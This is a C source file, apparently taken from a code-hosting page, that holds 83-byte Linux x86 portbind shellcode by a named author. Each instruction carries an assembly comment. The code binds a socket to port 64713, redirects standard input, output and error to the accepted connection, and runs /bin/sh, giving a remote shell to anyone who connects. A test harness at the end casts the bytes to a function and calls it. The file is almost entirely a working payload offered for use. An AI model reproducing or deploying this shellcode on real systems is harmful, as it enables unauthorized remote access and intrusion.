66 lines
No EOL
2.6 KiB
C
66 lines
No EOL
2.6 KiB
C
/*
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* (linux/x86) portbind /bin/sh (port 64713)
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* 83 bytes
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*
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* http://www.gonullyourself.org
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* sToRm <hixmostorm@hotmail.com>
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*/
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char shellcode[] =
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// <_start>:
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"\x6a\x66" // push $0x66
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"\x58" // pop %eax
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"\x31\xdb" // xor %ebx,%ebx
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"\x53" // push %ebx
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"\x43" // inc %ebx
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"\x53" // push %ebx
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"\x6a\x02" // push $0x2
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80" // int $0x80
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"\x31\xd2" // xor %edx,%edx
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"\x52" // push %edx
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"\x68\xff\x02\xfc\xc9" // push $0xc9fc02ff
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"\x89\xe1" // mov %esp,%ecx
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"\x6a\x10" // push $0x10
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"\x51" // push %ecx
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"\x50" // push %eax
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"\x89\xe1" // mov %esp,%ecx
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"\x89\xc6" // mov %eax,%esi
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"\x43" // inc %ebx
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"\xb0\x66" // mov $0x66,%al
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"\xcd\x80" // int $0x80
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"\xb0\x66" // mov $0x66,%al
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"\x43" // inc %ebx
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"\x43" // inc %ebx
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"\xcd\x80" // int $0x80
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"\x50" // push %eax
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"\x56" // push %esi
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"\x89\xe1" // mov %esp,%ecx
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"\x43" // inc %ebx
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"\xb0\x66" // mov $0x66,%al
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"\xcd\x80" // int $0x80
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"\x93" // xchg %eax,%ebx
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"\x6a\x03" // push $0x3
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"\x59" // pop %ecx
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// <fruity_loops>:
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"\x49" // dec %ecx
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"\x6a\x3f" // push $0x3f
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x75\xf8" // jne <fruity_loops>
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"\xf7\xe1" // mul %ecx
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"\x51" // push %ecx
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp,%ebx
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"\xb0\x0b" // mov $0xb,%al
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"\xcd\x80" // int $0x80
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;
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int main() {
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int (*f)() = (int(*)())shellcode;
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printf("Length: %u\n", strlen(shellcode));
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f();
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} |